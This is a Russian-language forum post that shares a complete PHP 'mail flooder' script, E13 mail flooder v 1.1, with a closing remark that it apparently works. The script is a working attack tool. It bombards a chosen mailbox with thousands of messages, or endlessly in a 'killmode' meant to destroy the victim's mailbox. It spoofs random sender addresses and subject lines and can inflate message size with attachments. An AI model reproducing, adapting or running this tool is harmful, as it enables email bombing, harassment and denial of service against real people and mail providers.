Вот типа тоже како-то mail флуддер...
PHP код:
<?
error_reporting(0); // Отключаем отображение ошиюок
set_magic_quotes_runtime(0); // Магия =)
set_time_limit(0); // Убираем ограницение по времени работы скрипта
ignore_user_abort(0); // Продолжать выполнять если даже пользователь закрыл браузер
///////////////////////
// Настройки скрипта //
///////////////////////
//Поля со звёздочками (*) обязательны для заполнения
//Мыло которое надо флудить (*)
$tomail=" ";
//Тема письма
//Для случайного значения оставьте пустыми
$mailsj=" ";
//Текст письма (*)
$mailtext=" ";
//Куда будут отвечать
//Для случайного значения оставьте пустыми
$frommail=" ";
//Количество писем
//Не следует указываеть если включенно killmode
$number="5000";
//Добавить аттач, чтобы увеличить размер письма
//Впишите локальный файл
$attach=" ";
//Размер письма растёт пропорционально количеству писем (*)
//Если off то отключенно если on то включенно.
$grow="off";
//Killmode полностью убиваем мыльник жертвы (*)
//Те. отсылает бесконечное количество писем
//Если off то отключенно если on то включенно.
$killmode="off";
//////////////////////
// Далее не изменять //
//////////////////////
function mailflood($tomail, $mailsj, $mailtext, $frommail, $grow, $attach )
{
GLOBAL $attach;
GLOBAL $grow;
GLOBAL $random;
$un= strtoupper(uniqid(time()));
if ($mailsj=="")
{
$mailsj="RE[".Random()."]";
$sj=1;
}
if ($frommail=="")
{
$frommail="".Random()."@mail.ru";
$fr=1;
}
if($grow=="off")
{
$random="<br>".Random();
}
if($grow=="on")
{
$random=$random."<br>".Random();
}
$header = "From: $frommail\n";
$header .= "X-Mailer: PHPMail Tool\n";
$header .= "Mime-Version: 1.0\n";
$header .= "Content-Type:multipart/mixed;";
$header .= "boundary=\"----------".$un."\"\n\n";
$fileheader = "------------".$un."\nContent-Type:text/html;charset=\"windows-1251\"\r\n";
if($attach!=="")
{
$file= fopen($attach,"r");
$newname=str_replace("/","_",$attach);
$newname=str_replace("-","_",$newname);
$newname=str_replace(".","_",$newname);
$mailtext=str_replace($attach,"cid:" . $newname,$mailtext);
$fileheader2 .= "------------".$un."\n";
$fileheader2 .= "Content-Type: image/jpeg;";
$fileheader2 .= "name=\"".basename($attach)."\"\n";
$fileheader2 .= "Content-Transfer-Encoding:base64\n";
$fileheader2 .= "Content-ID: <$newname>\n\n";
$fileheader2 .= chunk_split(base64_encode(fread($file,filesize($attach))))."\n";
}
$mailtext="".$mailtext."\n\r $random";
$fileheader .= "Content-Transfer-Encoding: 8bit\n\n";
$fileheader1 = "$mailtext\n\n";
$fileheader=$fileheader . $fileheader1 . $fileheader2;
mail($tomail, $mailsj, $fileheader, $header);
if($sj=="1")
{
$mailsj="";
}
if($fr=="1")
{
$frommail="";
}
}
function Random()
{
$salt = 'abchefghjkmnpqrstuvwxyz0123456789';
$Random = '';
srand((double)microtime()*1000000);
$i = 0;
while ($i <= 7)
{
$num = rand() % 33;
$tmp = substr($salt, $num, 1);
$Random = $Random . $tmp;
$i++;
}
return $Random;
}
echo"
<html>
<title>E13 mail flooder v 1.1</title>
";
echo "
<style>
A:link {
COLOR: #FFFFFF; TEXT-DECORATION: none
}
A:active {
COLOR: #FFFFFF; TEXT-DECORATION: none
}
A:visited {
COLOR: #FFFFFF; TEXT-DECORATION: none
}
A:hover {
COLOR: #CC0000; TEXT-DECORATION: underline
}
</style>
<BODY text=white bgColor=black>
<font size='1' face='Verdana'>
Мыло которое надо флудить : $tomail <br>
Тема письма : $mailsj <br>
Текст письма : $mailtext <br>
Куда будут отвечать : $frommail <br>
Количество писем : $number <br>
";
if (isset($attach)){echo"Attach : $attach <br>";}
echo"
Killmode : $killmode <br>
</font>
<a href='$PHP_SELF?flood'>START FLOOD!</a>
";
if(isset ($_GET['flood']))
{
echo "<h2>Flood started !</h2>";
if($killmode=="on")
{
while ($i>=0)
{
mailflood($tomail, $mailsj, $mailtext, $frommail, $grow, $attach );
}
}
if($killmode="off")
{
for ($i=1; $i<=$number; $i++)
{
mailflood($tomail, $mailsj, $mailtext, $frommail, $grow ,$attach );
}
}
echo "<h2>Flood stoped !</h2>";
}
?>
Я пробовал, вроде работает. ;)
|